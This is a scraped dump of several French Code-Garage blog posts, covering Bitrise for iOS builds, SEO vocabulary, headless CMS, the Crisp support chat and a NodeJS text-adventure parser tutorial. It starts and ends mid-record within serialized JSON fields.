réplication et fragmentation (sharding) - Blog - Code-Garage](https://code-garage.fr/blog/base-de-donnees-differences-entre-replication-et-fragmentation/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/07/joseph-chan-uTFiFYeQhlI-unsplash.jpg)Qu’est-ce qu’une transaction en base de données ? - Blog - Code-Garage](https://code-garage.fr/blog/quest-ce-qu-une-transaction-en-base-de-donnees/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/04/pexels-pixabay-373543.jpg)Qu’est-ce qu’une «base de données» ? - Blog - Code-Garage](https://code-garage.fr/blog/qu-est-ce-qu-une-base-de-donnees/)\n:::","Ce qu'il y a à savoir avant d'écrire une seule ligne de code","un-peu-de-theorie-de-linformatique-pour-developpeurs-juniors","2020-08-26T07:16:16.000Z","2023-09-22T15:59:59.314Z","2020-08-26T07:33:37.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/stanislav-kondratiev-6pO3QFkk7hQ-unsplash.jpg","Stanislav Kondratiev sur Unsplash","https://unsplash.com/@technobulka?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":612,"title":613,"content":614,"socialTitle":8,"description":615,"socialDescription":8,"slug":616,"createdAt":617,"updatedAt":618,"publishedAt":619,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":620,"coverCopyright":621,"coverCopyrightLink":622},81,"Bitrise, où comment publier des apps iOS sans Mac !","> Un grand merci à [Jérôme](https://www.linkedin.com/in/jeromeheissler/) de chez [Prototyper](https://prototyper.fr/) pour m'avoir fait découvrir cet outil !\n\nBitrise est une plateforme de CI/CD (Intégration et déploiement continus) spécialisé dans le mobile qui pourrait, vous aussi, vous sauvez la vie.\n\n_Oui j'exagère un peu, mais pas tant que ça... et en passant je tiens à préciser que cet article n'est pas sponsorisé !_\n\n## Le principe\n\n**La plateforme va vous permettre de tester, compiler, signer et packager votre code pour Android ou iOS, et ce en quelques clics**.\n\nBitrise vous donne la possibilité de **connecter directement un dépôt Git** pour récupérer votre code, que ce soit sur GitHub, BitBucket ou même GitLab.\n\nUne fois votre application reliée, vous allez **définir le Workflow que vous souhaitez pour votre application**, par exemple : git clone -> test -> build -> sign -> archive -> export.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/08/Capture-d--cran-2020-08-27---09.25.jpg)\n\n**Mais surtout vous pouvez choisir la version de MacOS et d'Xcode à utiliser** pour compiler votre application, et pour ceux qui travaille sous iOS, vous savez à quel point c'est un game changer !\n\n## Pourquoi l'utiliser ?\n\nJe dirais qu'il y a trois grandes raisons pour utiliser une plateforme comme Bitrise...\n\n### Automatiser ses déploiements\n\nPour une agence qui développe très régulièrement des apps mobile, pouvoir **automatiser ses tests, ses builds et même ses déploiements permet de gagner en temps et en sérénité**.\n\nLa possibilité d'écouter les commits sur une branche particulière pour automatiquement lancer le workflow permet une gestion du code par l'équipe plus simple.\n\n### Palier un Mac trop vieux\n\nC'est dans ce cadre-là que je l'ai personnellement utilisé. Après avoir développé mon application sur un MacBook mi-2011, **Apple m'a gentiment indiqué que je devais tout mettre à jour sous peine de ne pas pouvoir publier mon application.**\n\nProblème : Cette version de MacBook n'était plus éligible aux mises à jour, et **j'ai donc dû passer par Bitrise pour publier mon application !**\n\n### S'affranchir de MacOS\n\n**De plus en plus de développeurs se tournent vers des outils comme React-Native** afin de créer des applications natives basées sur une seule code base en Javascript.\n\nJusqu'alors**, il était obligatoire d'avoir accès à un Mac pour compiler et signer ces applications** avant de les déployer, mais tout ça c'est fini, vous pouvez désormais développer ET déployer vos applications depuis Linux ou Windows !\n\n## La cerise sur le gâteau\n\n**La plateforme a un plan d'utilisation gratuit** qui suffira sûrement à votre cas d'usage car vous pourrez lancer jusqu'à 200 builds par mois !\n\nPour ceux qui sont intéressés, voici le lien de la plateforme : [https://bitrise.io](https://app.bitrise.io/referral/db000d61e9095b16)\n\n::: bookmark\n[![](https://www.bitrise.io/assets/placeholders/website-social-embed.png)Bitrise - Mobile Continuous Integration and Delivery](https://app.bitrise.io/referral/db000d61e9095b16)\n:::","Aujourd'hui je vous présente un outil qui m'a sauvé la mise il n'y a pas si longtemps que ça !","bitrise-ou-comment-publier-des-apps-ios-sans-mac","2020-08-27T06:47:49.000Z","2023-09-22T13:40:22.468Z","2020-08-27T07:58:56.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/kari-shea-1SAnrIxw5OY-unsplash-1.jpg","Kari Shea sur Unsplash","https://unsplash.com/@karishea?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":624,"title":625,"content":626,"socialTitle":8,"description":627,"socialDescription":8,"slug":628,"createdAt":629,"updatedAt":630,"publishedAt":631,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":632,"coverCopyright":633,"coverCopyrightLink":634},82,"Les bases du SEO #1 : Définitions","Dans cette série d'articles je vais vous présenter le **référencement naturel** en me concentrant **sur la partie développement web**.\n\nL'idée n'est pas d'être exhaustif et vous faire devenir des experts, mais simplement que vous puissiez connaitre ce qu'il y a à savoir en tant que développeur web **pour que les bonnes pratiques deviennent des automatismes avec le temps !**\n\n**Commençons avec les termes les plus utilisés en SEO** que vous retrouverez tout au long de cette série ainsi que leurs définitions.\n\n## Vocabulaire\n\n### SEO\n\nLe SEO est un acronyme pour « Search Engine Optimization »,  (« Optimisation pour les moteurs de recherche » en Français) mais aussi **souvent appelé référencement naturel**.\n\nA contrario du référencement payant (SEA), le SEO consiste en un ensemble de **techniques gratuites à mettre en œuvre pour améliorer et optimiser la position d'un site web** (d'un ensemble de pages web) **dans les résultats des moteurs de recherche pour un ensemble de mots-clés.**\n\n### SERP\n\nSignifiant « Search engine results page », une SERP représente simplement une page de recherche, mais attention car **chaque SERP est unique**.\n\n**Une SERP est définie par un moteur de recherche en particulier, les mots-clés (keywords) recherchés par l'utilisateur et parfois les données de l'utilisateur lui-même.**\n\nA noter que l'on parle majoritairement de Google lorsque l'on évoque les moteurs de recherches car il a une majorité des parts de marchés en France, **mais il existe d'autres moteurs** :\n\n* Google (91,4%)\n* Bing (4,01%)\n* Yahoo! (1,53%)\n* Ecosia (1,23%)\n* Qwant (0,78%)\n* DuckDuckGo (0,35%)\n\nSource : [https://www.leptidigital.fr/webmarketing/seo/parts-marche-moteurs-recherche-france-monde-11049/](https://www.leptidigital.fr/webmarketing/seo/parts-marche-moteurs-recherche-france-monde-11049/)\n\n### Crawler\n\n**Un crawler est un bot mandaté par un moteur de recherche pour parcourir l'entièreté des sites web afin de les indexer** (les ajouter aux résultats du moteur de recherche).\n\n_Certains moteurs de recherche utilisent les données crawlées par d'autres, c'est le cas pour Ecosia qui utilise par exemple les données récupérées par Bing._\n\n**Le but du crawler est de récupérer un maximum d'informations pertinentes sur le site tout en restant le moins de temps possible afin d'être le plus efficace**, le tout en passant d'un site à un autre en suivant tous les liens présents sur une page (sauf exceptions).\n\n> Les codes de ces derniers possèdent une valeur inestimable car les experts du référencement se battent pour arriver à trouver comment ils fonctionnent et ainsi optimiser au maximum les informations présentes sur leurs pages.\n\n### Backlink\n\n**Un Backlink est un lien menant vers un site en particulier, c'est grâce à ces liens-là que le site en question pourra être référencé.**\n\n**Un site sans aucun backlink sera invisible pour les crawler**, tandis qu'un site avec un grand nombre de backlinks sera considéré comme \"populaire\" et ressortira donc plus haut dans les résultats de recherche.\n\n**Le backlink est la pierre angulaire du référencement naturel.**\n\n### Pagerank\n\n**Le Pagerank est l'algorithme breveté par Google à l'origine de son moteur de recherche**, il n'est plus utilisé en l'état mais a évolué pour devenir un algorithme extrèmement complexe dont les experts découvrent les spécificités au compte-gouttes.\n\nL'algorithme était basé sur deux principes pour évaluer la pertinence d'un site web: **son nombre de backlinks et l'autorité des sites à l'origine de ces backlinks.**\n\n### TrustRank\n\nAujourd'hui, des centaines (voir des milliers) de critères sont pris en compte afin d'évaluer la pertinence d'un site, dont **le TrustRank qui représente non pas la popularité d'un site, mais son niveau de confiance.**\n\n**Le niveau de confiance d'un site peut être mesuré grâce à la qualité de son code**, de l'ancienneté de son nom de domaine, de l'absence de spam ou de contenu redondant **mais aussi l'accessibilité du site**.\n\nLa génération de backlinks pointant vers un site est souvent une tâche relevant du marketing, tandis que **l'optimisation du TrustRank est plutôt une tâche à réaliser par l'équipe de développement**.\n\n### Accessibilité (A11Y)\n\n**L'optimisation de l'accessibilité consiste à faire en sorte qu'un maximum de personne puissent accéder à votre contenu depuis un maximum de périphériques sans souffrir de manque d'information ou de problème de navigation.** C'est un sujet très important mais surtout très vaste qui comporte par exemple les points suivants :\n\n* Adapté aux personnes mal ou non-voyantes (lecteurs audio, contrastes, tailles d'éléments, etc...)\n* Responsive pour toutes tailles d'écrans\n* Temps de chargement\n* Respect des normes HTML\n* ...\n\n### Link Juice\n\n**Plus on acquiert de backlinks et plus notre site a un niveau de confiance élevé, plus les liens externes que l'on pointe vers d'autres sites seront bénéfiques à ces derniers**, c'est ce que l'on appelle le Link Juice.\n\nSi j'ai deux backlinks, l'un provenant d'un site inconnu et l'autre venant d'un blog considéré comme LA référence du marché sur mon secteur, le deuxième lien va m'apporter bien plus de \"Juice\" que le premier, il va donc améliorer grandement mon référencement.\n\n### Metadata\n\n**Les metadata sont des données non pas présentes dans mon contenu mais autour de mon contenu comme le titre et la description** de ma page, invisible par un lecteur mais visible sur les moteurs de recherche.\n\n**La cohérence entre les données du contenu et les méta-données est très importante** d'une part pour le référencement afin que le gens puissent venir sur votre site, mais aussi pour qu'ils restent, car si l'accroche (titre + description) ne correspond pas au contenu, les visiteurs risquent de fuir rapidement !\n\n### CTR\n\nLe **click through rate est le taux de clics par rapport au nombre d'impressions** de votre site dans les résultats de recherches, on pourra l'optimiser en jouant par exemple avec le titre et la description de la page qui donneront plus envie aux utilisateurs de le visiter.\n\n> J'espère que cet article vous aura plu, vous trouverez la suite le lien vers la suite de la série lorsque les prochains articles auront été publiés ! A bientôt sur le blog.\n\n","Début d'une série d'articles sur le SEO pour les développeurs web.","definitions-les-bases-du-seo-1","2020-08-28T06:29:04.000Z","2023-11-27T15:00:47.320Z","2020-08-28T08:33:59.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/agnieszka-boeske-ky0ljKGar78-unsplash.jpg","Agnieszka Boeske sur Unsplash","https://unsplash.com/@kundeleknabiegunie?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":636,"title":637,"content":638,"socialTitle":8,"description":639,"socialDescription":8,"slug":640,"createdAt":641,"updatedAt":642,"publishedAt":643,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":644,"coverCopyright":645,"coverCopyrightLink":646},83,"Qu'est-ce qu'un headless CMS ?","Suite à un article précédent intitulé \"**[Faut-il bannir les CMS comme Wordpress en tant que développeur web ?](https://code-garage.fr/blog/faut-il-bannir-les-cms-comme-wordpress-en-tant-que-developpeur-web/)**\", j'ai reçu beaucoup de commentaires de développeurs (et développeuses) ayant une idée préconçue des CMS, comme étant des outils \"à éviter\".\n\nMais ce que j'ai surtout remarqué, c'était que **le concept de headless CMS n'était que très peu évoqué dans les débats**, ce qui me fait donc dire qu'il n'est encore qu'assez peu démocratisé.\n\nAujourd'hui nous allons donc voir ce qu'est un CMS \"headless\"et en découvrir quelques exemples !\n\n## Un back-office, et c'est tout !\n\nSi vous êtes familier avec les CMS classiques, vous savez que toutes les plateformes consistent en deux parties **distinctes** : **le back-office et le front-office**. Le premier sert à **configurer la plateforme** ainsi qu'à ajouter, modifier ou supprimer les données, tandis que le deuxième **affiche au visiteur la version \"mise en page\"** de ces données.\n\n> On parle aussi vulgairement de partie administrateur et de partie utilisateur.\n\n**Au contraire, un CMS \"sans-tête\" nous offrira un back-office et... c'est tout !** Toute la partie front-office devra être développée à la main et avec n'importe quelle technologie, à condition qu'elle puisse communiquer avec le CMS !\n\n## Quel intérêt ?\n\n**Ce qui est souvent reproché aux CMS, c'est leur lourdeur**, soit en terme de temps de chargement, de propreté du code ou d'expérience utilisateur en général.\n\nEn revanche, on privilégie leur utilisation pour leur rapidité de mise en production, leur flexibilité en terme de personnalisation et **la possibilité de donner la main à quelqu'un de non-technique, souvent un client**.\n\nL'intérêt du headless CMS c'est qu'il réconcilie tout cela en offrant **une expérience à la fois flexible et compréhensible côté back-office et un front-office complètement personnalisé** que l'on va pouvoir optimiser au maximum !\n\n**Un avantage supplémentaire est de pouvoir garder une cohérence et une harmonie dans les compétences front en choisissant le même framework partout**, sachant qu'il est assez rare de trouver des CMS classiques à la fois puissant et basés sur des technos front-end récentes !\n\n**La communication avec entre les deux se fera par une API** (et parfois son SDK) fournie par le CMS et intégrable facilement dans son front-end, ou [son framework SSR](https://code-garage.fr/blog/qu-est-ce-que-le-ssr-ou-server-side-rendering/) par exemple.\n\n## Quelques exemples de headless CMS\n\n### Wordpress\n\nJe sais ce que vous pensez, que Wordpress n'est pas un headless CMS, et pourtant c'est aussi le cas ! Si vous ne voulez pas utiliser tout le système de thème de Wordpress et fabriquer votre partie front-end de A à Z, ce dernier fourni une API Rest native.\n\nVoici un tutoriel simple pour apprendre à l'utiliser : [https://wpengine.com/resources/using-wordpress-rest-api-plugin/](https://wpengine.com/resources/using-wordpress-rest-api-plugin/)\n\n::: bookmark\n[![](https://s.w.org/images/home/screen-themes.png?3)Blog Tool, Publishing Platform, and CMS - WordPress](https://wordpress.org/)\n:::\n\n### Strapi\n\nC'est pour moi l'outil idéal pour déployer un back-office ultra flexible et intuitif en un rien de temps.\n\nLa documentation est bien faite et pourra vous guider simplement même lors de l'ajout de logique métier dans l'outil si besoin.\n\n::: bookmark\n[![](https://api-prod.strapi.io/uploads/HP_meta_b32f546a40.png)Strapi - Open source Node.js Headless CMS ](https://strapi.io/)\n:::\n\n### Ghost\n\nJ'en ai déjà parlé mais le blog que vous êtes en train de lire est créé avec Ghost, à la différence que j'utilise aussi la partie front-office avec le thème Casper.\n\nMais si vous souhaitez créer un blog très personnalisé tout en gardant un éditeur super-agréable, je ne peux que vous conseiller la version headless de Ghost !\n\n::: bookmark\n[![](https://ghost.org/images/meta/Ghost.png)Ghost: Turn your audience into a business](https://ghost.org)\n:::\n\n### Contentful\n\nC'est la seule alternative non open-source de ces exemples, mais c'est aussi la seule (de cette liste) à proposer une API GraphQL au lieu d'une API Rest.\n\nJe n'ai pas eu l'occasion de l'utiliser étant donné que je privilégie les solutions auto-hébergeables mais comme je la vois souvent citée je ne voulais pas vous cacher son existence.\n\n::: bookmark\n[![](https://www.contentful.com/og-21.png)API-first content platform to build digital experiences](https://www.contentful.com/)\n:::\n\n","Même si vous êtes allergiques aux CMS, découvrez la puissance des headless CMS !","qu-est-ce-qu-un-headless-cms","2020-08-31T07:04:59.000Z","2023-09-19T15:05:36.607Z","2020-08-31T08:05:32.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/08/mika-43E513RKDug-unsplash.jpg","Mika sur Unsplash","https://unsplash.com/@mikafinland?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":648,"title":649,"content":650,"socialTitle":8,"description":651,"socialDescription":8,"slug":652,"createdAt":653,"updatedAt":654,"publishedAt":655,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":656,"coverCopyright":657,"coverCopyrightLink":658},85,"[Guide] La vie d'un développeur web","Écrire un blog, c'est surtout se servir de ses expériences passées pour en tirer des leçons, des conseils ou tout simplement les raconter comme des témoignages.\n\nDepuis le début j'ai écrit un certain nombre d'article qui parle de la vie de développeur en général, de la mienne, mais aussi de celles des développeurs que j'ai connu et avec qui j'ai pu travailler.\n\nVous trouverez donc dans ce guide tous les articles qui touchent, non pas au développement directement, mais à la vie de développeur en général !\n\n## En général\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/08/nick-fewings-pIY6sz-texg-unsplash.jpg)Trouver son langage de programmation de prédilection - Blog - Code-Garage](https://code-garage.fr/blog/trouver-son-langage-de-programmation-de-predilection/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/07/IMG_20201026_075019.jpg)Mon setup de développeur web freelance (édition 2021) - Blog - Code-Garage](https://code-garage.fr/blog/mon-setup-de-developpeur-web-freelance/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2022/03/annie-spratt-wgivdx9dBdQ-unsplash.jpg)7 conseils pour bien vivre son télétravail - Blog - Code-Garage](https://code-garage.fr/blog/comment-bien-vivre-son-teletravail/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/florian-schmetz-2ARQfzpg--E-unsplash.jpg)Le métier de développeur existera-t’il encore dans 20 ans ? - Blog - Code-Garage](https://code-garage.fr/blog/le-metier-de-developpeur-existera-t-il-encore-dans-20-ans-ai-gpt-3-no-code/)\n:::\n\nEt même si la vie de développeur n'inclut pas forcément de tenir un blog, je vous partage quelques conseils sur cette thématique pour ceux que ça pourrait intéresser !\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/volodymyr-hryshchenko-V5vqWC9gyEU-unsplash.jpg)Comment faire pour écrire un article de blog par jour ? - Blog - Code-Garage](https://code-garage.fr/blog/comment-faire-pour-ecrire-un-article-de-blog-par-jour/)\n:::\n\n## Mon expérience\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/10/neonbrand-8fDhgAN5zG0-unsplash.jpg)Mon salaire en tant que développeur web junior puis freelance expérimenté - Blog - Code-Garage](https://code-garage.fr/blog/mon-salaire-en-tant-que-developpeur-web-junior-puis-freelance-experimente/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/06/debby-hudson-asviIGR3CPE-unsplash.jpg)L’évolution de ma stack technique de mes débuts à aujourd’hui - Blog - Code-Garage](https://code-garage.fr/blog/levolution-de-ma-stack-technique-de-mes-debuts-a-aujourdhui/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/05/jules-bss-VW-pFREtl0k-unsplash.jpg)Mon objet indispensable pour programmer en ce moment - Blog - Code-Garage](https://code-garage.fr/blog/mon-objet-indispensable-pour-developper-en-ce-moment/)\n:::\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/07/kristopher-roller-PC_lbSSxCZE-unsplash.jpg)Pourquoi j’arrête ma newsletter payante pour les développeurs... - Blog - Code-Garage](https://code-garage.fr/blog/pourquoi-j-arrete-ma-newsletter-payante-pour-les-developpeurs/)\n:::","Voilà une petite plongée dans la vie quotidienne de développeur web !","la-vie-d-un-developpeur-web","2020-09-02T14:12:10.000Z","2023-09-22T16:00:11.617Z","2020-09-02T14:34:12.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/timothy-dykes-LhqLdDPcSV8-unsplash.jpg","Timothy Dykes sur Unsplash","https://unsplash.com/@timothycdykes?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":660,"title":661,"content":662,"socialTitle":8,"description":663,"socialDescription":8,"slug":664,"createdAt":665,"updatedAt":666,"publishedAt":667,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":668,"coverCopyright":669,"coverCopyrightLink":670},86,"Ajoutez un chat de support client sur vos sites web avec Crisp","Lorsqu'on lance un site ou une application web, l'idéal est de le lancer le plus tôt possible pour savoir ce que les utilisateurs en pensent, quelles fonctionnalités ils aiment mais surtout quels problèmes ils peuvent rencontrer.\n\nOn connait tous les bonnes vieilles pages de contact avec un formulaire simple et efficace, mais les habitudes des gens sur internet évoluent avec le temps et ils deviennent de moins en moins \"patients\".\n\n> Attention je n'accuse personne, je fais partie de ces gens-là !\n\nToujours est-il qu'en proposant simplement une page de contact basique, vous risquez de passer à côté d'un fort pourcentage de retours clients concernant des problèmes sur votre plateforme.\n\n> Et qui dit problème non-résolu, dit client perdu !\n\nLa solution : Installer un chat de messagerie instantanée afin que vos utilisateurs puissent vous contacter directement depuis la page sur laquelle ils se trouvent et que vous puissiez traiter leurs problèmes en temps-réel.\n\n## Crisp\n\nJ'ai décidé de vous présenter [Crisp](https://crisp.chat/fr/) car pour avoir testé plusieurs alternatives c'est celui dont je suis le plus satisfait, sa version gratuite est vraiment top et en plus... c'est Français !\n\n> À noter que cet article n'est pas sponsorisé !\n\n::: bookmark\n[![](https://crisp.chat/opengraph.png)La relation client pour tous - Crisp](https://crisp.chat/fr/)\n:::\n\nLes plus (même en version gratuite) :\n\n* Gestion multi-sites\n* Personnalisation de la chatbox (position, couleurs, textes, comportements,...)\n* Réception des messages manqués par email\n* Envois possibles de fichiers/screenshots\n* Taille réduite du script d'intégration (11,5Ko)\n\n_Mais en plus, la promesse de Crisp est de pouvoir être installé en moins d'une minute, et on peut dire que le pari est réussi !_\n\n### Installation\n\nAvant de pouvoir installer la chatbox, il va falloir créer un compte puis ajouter un nouveau site à son compte et pour cela c'est très simple, il vous suffit d'un nom et d'une url.\n\nEnsuite vous devrez configurer votre Crisp, le tutoriel tient en deux petites popups qui vous guideront selon votre technologie.\n\n> A noter que si vous utilisez un framework Javascript, de nombreux tutoriels sont mis à disposition par l'équipe, comme celui-ci pour [installer Crisp avec ReactJS](https://help.crisp.chat/en/article/how-to-use-crisp-with-reactjs-fe0eyz/) !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/09/Capture.PNG)\n\nJ'ai choisi ici directement la version html, il ne vous reste plus qu'à copier-coller le script fourni et le tour est joué !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/09/Capture-2-1.PNG)\n\nIl ne vous reste plus qu'à redéployer votre site et vous verrez apparaitre la magnifique bulle de description !\n\nMais si vous désirez aller plus loin et personnaliser encore un peu plus le comportement de la messagerie, Crisp vous met à disposition un sdk, directement inclus dans le script d'origine, il n'y a rien à rajouter !\n\nVous pouvez donc désormais afficher ou cacher la bulle selon la page du visiteur, ou si ce dernier est connecté ou non par exemple. Pour celà je vous laisse consulter [la documentation du sdk](https://help.crisp.chat/en/article/how-to-use-dollarcrisp-javascript-sdk-10ud15y/) !\n\nLien vers le site de Crisp : [https://crisp.chat/fr/livechat/](https://crisp.chat/fr/livechat/)\n\n","Le digne remplaçant de vos pages de contact !","ajoutez-un-chat-de-support-client-sur-vos-sites-web-avec-crisp","2020-09-03T14:03:33.000Z","2023-09-19T15:05:36.697Z","2020-09-03T15:20:30.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/tim-swaan-eOpewngf68w-unsplash.jpg","Tim Swaan sur Unsplash","https://unsplash.com/@timswaanphotography?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":672,"title":673,"content":674,"socialTitle":8,"description":675,"socialDescription":8,"slug":676,"createdAt":677,"updatedAt":678,"publishedAt":679,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":680,"coverCopyright":681,"coverCopyrightLink":682},87,"Tutoriel : Créer un jeu d'aventure textuel en NodeJS (Partie 1)","Je suis né dans les années 90, et pourtant l'un des jeux vidéos m'ayant le plus marqué dans ma vie reste un jeu sorti dans les années 80 : Zork I.\n\nZork est un jeu d'aventure textuel dans lequel vous incarnez un personnage découvrant un passage sous une petite maison qui vous permettra notamment d'explorer des souterrains pleins de surprises.\n\n> Et oui, vous l'aurez deviner, il n'y a aucun graphisme, tout se passe en ligne de commande.\n\nPour les plus curieux, voici à quoi ressemble Zork, et maintenant vous pouvez même y jouer en ligne [à cette adresse !](http://textadventures.co.uk/games/play/5zyoqrsugeopel3ffhz_vq)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/09/greenscreenshot_jwgSpkytNd.jpg)\n\nMême si le fait d'avoir à écrire pour effectuer des actions peut paraitre contre-intuitif, cela donne aussi une sensation de liberté et de possibilités presques infinies qui ne se limite pas à un quelconque nombre de boutons sur lesquels appuyer !\n\nC'est d'ailleurs pour ça que j'avais évoqué cette idée dans mon article \"[9 idées de projets créatifs pour les développeurs web juniors](https://code-garage.fr/blog/idees-de-projets-creatifs-pour-les-developpeurs-web-juniors/)\" car il offre une grande liberté à construire, mais le moteur de jeu reste un challenge technique très intéressant, notamment au niveau du parser syntaxique qui doit pouvoir comprendre les phrases entrées par le joueur !\n\nC'est donc par celà que je vais commencer pour vous guider au travers de la création d'un jeu d'aventure textuel dans la première partie de ce tutoriel dont vous pourrez retrouver l'entièreté [du code sur Github](https://github.com/NicolasBrondin/line-adventure) !\n\n## Partie 1 : Le parser syntaxique\n\nQue l'on soit d'accord, le but n'est bien sûr pas de créer un parser qui sera capable de détecter l'entièreté de la langue française, mais il aura deux objectifs :\n\n* Comprendre suffisamment de termes pour lier toutes les fonctionnalités de notre futur jeu\n* Être assez permissif pour ne pas compliquer la tâche au joueur\n\nEn clair, notre parser devra être capable de détecter des phrases comme \"prendre\", \"prendre lettre\", \"prendre la lettre\" ou encore \"aller vers le nord\", tout en refusant des phrases comme \"je voudrais vraiment aller au nord de la colline\" pour des raisons de simplicité !\n\n### Modélisation de la syntaxe\n\nEn prenant les exemple du dessus, on va devoir définir les différents types de mots présents dans la phrase, ainsi que leur ordre possible, c'est ce que l'on va appeler un \"arbre syntaxique\".\n\nLe nôtre va donc contenir 4 types de mots différents : un verbe à l'infinitif (aller), une préposition (vers), un article (le) et un nom (nord). Mais attention, comme on a vu avant ils ne sont pas tous obligatoires, ce qui va nous donner comme possibilités :\n\n* \\[VERBE, PREPOSITION, ARTICLE, NOM\\]\n* \\[VERBE, ARTICLE, NOM\\]\n* \\[VERBE, NOM\\]\n* \\[VERBE\\]\n\nMaintenant il ne nous reste plus qu'à créer notre classe Parser et à commencer à rentrer une collection de possibilités pour chacun des types de mots ci-dessus.\n\n```\n\nclass Parser {\n constructor(){\n\n this.infinitive_verbs = [\n \"prendre\",\n \"ouvrir\",\n \"regarder\",\n \"lire\",\n \"aller\",\n \"poser\"\n ]\n\n this.articles = [\n \"le\",\n \"la\",\n \"au\"\n ];\n\n this.prepositions = [\n \"vers\",\n \"sur\",\n \"dans\"\n ]\n\n this.nouns = [\n \"boite\",\n \"lettre\",\n \"nord\",\n \"sud\"\n ];\n }\n}\n\nmodule.exports = Parser;\n```\n\n### Les tokens\n\nUne fois que nos différentes possibilités sont stockées (et facilement extensibles), il va nous falloir des méthodes afin de transformer les mots de notre phrases en \"tokens\".\n\nLa \"tokenisation\" d'une chaine de caractère consiste à découper cette chaine d'une certaine manière (ici on va séparer les mots entre chaque espace) pour venir ajouter de la donnée sur chacun de ces mots.\n\nIci le but va être d'ajouter le type de mot afin de pouvoir le classifier, et pour celà nous allons avoir besoin de petites fonctions qui vont simplement parcourir toutes les possibilités pour voir si le mot fourni correspond à l'une d'entre-elles.\n\nSi oui, on va créer le token correspondant, sinon on renvoi la valeur null.\n\n```\n//File : Parser.js\n\nINFINITIVE_VERB(word){\n let result = this.infinitive_verbs.find((verb)=>{return verb === word.toLowerCase();});\n return result ? {type: \"verb\", value: result} : null;\n}\n\nNOUN(word){\n let result = this.nouns.find((noun)=>{return noun === word.toLowerCase();});\n return result ? {type: \"noun\", value: result} : null;\n}\n\nARTICLE(word){\n let result = this.articles.find((article)=>{return article === word.toLowerCase();});\n return result ? {type: \"article\", value: result} : null;\n}\n\nPREPOSITION(word){\n let result = this.prepositions.find((preposition)=>{return preposition === word.toLowerCase();});\n return result ? {type: \"preposition\", value: result} : null;\n}\n```\n\n### Parsing et parcours de l'arbre\n\nVoici la dernière partie (et non des moindres) de notre parser. Son but est de parcourir chaque branche de l'arbre, et de tester chaque item de chaque branche pour détecter si la phrase est compatible avec l'une de ses branche afin de pouvoir transformer chaque mot en token.\n\n```\n//Parser.js\n\n//Take a sentence a return the same sentence tokenized or throw an error\nparseText(str){\n\n //Initialize the token array and transform the string into an array or words\n let tokens = [];\n let str_array = str.split(' ');\n\n //Let's build the syntaxic tree, from the longest possibility to the shortest (mandatory)\n let syntaxic_tree = [\n [this.INFINITIVE_VERB.bind(this),this.PREPOSITION.bind(this), this.ARTICLE.bind(this), this.NOUN.bind(this)],\n [this.INFINITIVE_VERB.bind(this),this.ARTICLE.bind(this), this.NOUN.bind(this)],\n [this.INFINITIVE_VERB.bind(this), this.NOUN.bind(this)],\n [this.INFINITIVE_VERB.bind(this)]\n ];\n\n //Let's try every possible sentence form until one succeed\n let success = syntaxic_tree.some(function(syntaxic_branch){\n\n //Let's copy all the words to avoid reference issues\n let local_str_array = [...str_array];\n let local_tokens = [];\n\n //For every branch item, let's check if the next word (of first) fits a token type\n let valid_syntax = syntaxic_branch.every(function(syntaxic_token){\n \n let token = local_str_array[0] ? syntaxic_token(local_str_array[0].toLowerCase()) : null;\n if(token){\n //If the word fits a token, then we push the token and remove the word from the sentence\n local_tokens.push(token);\n local_str_array.splice(0,1);\n return true;\n }\n return false;\n });\n\n //The sentence if fully parsed only when all the token has been found for a branch and there are no word remaining in the sentence\n if(valid_syntax && local_str_array.length === 0){\n tokens = local_tokens;\n return true;\n }\n return false;\n });\n if(!success){\n //If no branch of the syntaxic tree was compatible, the parsing couldn't be done\n throw new Error(\"ParsingError\");\n }\n return tokens;\n}\n```\n\nPour que celà soit plus clair, pour la phrase \"Aller au nord\", c'est la troisième branche de notre arbre qui sera compatible, soit \\[INFINITIVE\\_VERB, ARTICLE, NOUN\\] et la phrase ressortira sous la forme suivante :\n\n```\n[\n { type: 'verb', value: 'aller' },\n { type: 'article', value: 'au' },\n { type: 'noun', value: 'nord' }\n]\n```\n\nGrâce à ces informations, il nous sera désormais facile de relier chaque mot de la phrase à une action à l'intérieur du jeu !\n\n### Les tests\n\nAfin de tester différentes formes syntaxiques et de voir si le parser fonctionne correctement, j'ai créé un fichier index.js qui sert simplement à le lancer avec quelques phrases 